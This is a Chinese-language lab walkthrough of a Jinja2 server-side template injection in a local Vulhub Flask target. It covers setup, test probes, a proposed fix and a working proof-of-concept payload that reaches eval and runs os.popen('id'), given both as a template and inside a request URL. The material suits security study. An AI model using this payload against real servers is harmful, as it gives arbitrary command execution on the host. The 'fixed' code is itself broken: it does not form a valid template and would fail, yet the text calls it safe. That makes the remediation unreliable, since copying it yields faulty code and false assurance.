一、環境准備:
1.打開vulhub,進入到flask/ssti目錄下
2.對靶場進行編譯
docker-compose build
3.運行靶場
docker-compose up -d
4.移除環境
docker-compose down
二、漏洞復現:
1.進入瀏覽器頁面,訪問127.0.0.1:8000,
docker ps // 查看端口號
2.查看源碼,
ls
cd src
ls
cat app.py
3.根據源碼可知,name為用戶輸入字段,隨意輸入進行驗證,
核心語句:
t = Template("Hello " + name)
// 函數利用get獲取參數進入template,形成任意構造注入。
//Template()完全可控,那么就可以直接寫入jinja2的模板語言。
驗證語句:
http://127.0.0.1:8000/?name=s1mpL3
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'xiaojian'.upper()}}
三、漏洞修復:
修改后:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/s1mpL3") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + {{defense}}) return t.render(defense=name) if __name__ == "__main__": app.run()
此時可以避免代碼注入。
四、漏洞利用:
官方POC - 獲取eval函數執行任意代碼測試:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
執行:
http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}